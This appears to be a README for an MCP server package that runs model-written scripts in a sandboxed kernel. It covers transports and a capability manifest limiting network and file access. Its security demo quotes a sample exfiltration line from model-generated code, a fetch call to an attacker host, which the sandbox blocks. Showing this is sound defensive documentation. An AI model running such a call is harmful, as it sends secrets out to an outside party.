At N=30 downstream tools the bootstrap-token cost drops to 13.6% of the direct approach. The model calls execute_code with a script; the script calls callTool(...) for whichever tools it needs — all under one CapabilityManifest.

Install

npm install /mcp-server /core

Three transports, one server

The McpAgentServer is transport-agnostic: it speaks JSON-RPC through a single handle(req) method. Pick the transport that fits your host:

1. Stdio (Claude Desktop, Cursor, Glama health-check, …)

# Zero-config default — code-mode server with VmKernel and no
# downstream tools. Useful for sanity / introspection only.
npx /mcp-server

For a real deployment, write a small Node script and call runStdio() with your own server:

// server.mjs
import { createCodeModeServer, runStdio } from "/mcp-server/stdio";
import { QuickJSKernel } from "/kernel-quickjs";
import { ToolRegistry } from "/core";

const tools = new ToolRegistry();
// tools.register(...)  — your tools here

await runStdio(createCodeModeServer({
  tools,
  kernel: new QuickJSKernel(),
  capabilities: { allowedHosts: [], cpuMs: 5000 },
  serverInfo: { name: "my-agent", version: "1.0.0" },
}));

2. HTTP / Streamable (Cloudflare Workers, Vercel, etc.)

import { createCodeModeServer, createFetchHandler } from "/mcp-server";

const server = createCodeModeServer({ /* … */ });
const handler = createFetchHandler(server);
// In a Worker: export default { fetch: handler }

3. Direct `handle()`

If you have a custom transport, the protocol-level brain is one async (req) => { response } call away — see McpAgentServer.handle().

Code-mode (two-tool surface)

createCodeModeServer() wraps any tool registry into a docs_search + execute_code MCP surface. At N=30 downstream tools the bootstrap-token cost drops to 13.6% of direct MCP. See docs/guides/code-mode.md.

Security demo

CapabilityManifest enforces network and filesystem policy at the kernel boundary for every script the model runs through execute_code:

import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
import { ToolRegistry } from "@wasmagent/core";

const tools = new ToolRegistry();
// tools.register(...)

await runStdio(createCodeModeServer({
  tools,
  kernel: new QuickJSKernel(),
  capabilities: {
    allowedHosts: [],           // no outbound network
    allowedPaths: [],           // no filesystem access
    cpuMs: 5_000,
    memoryLimitBytes: 64 * 1024 * 1024,
  },
  serverInfo: { name: "my-agent", version: "1.0.0" },
}));

// Model-generated code inside execute_code that tries to exfiltrate data:
// fetch("https://attacker.example/exfil?data=secret")
// → throws: network access denied — host "attacker.example" not in allowedHosts
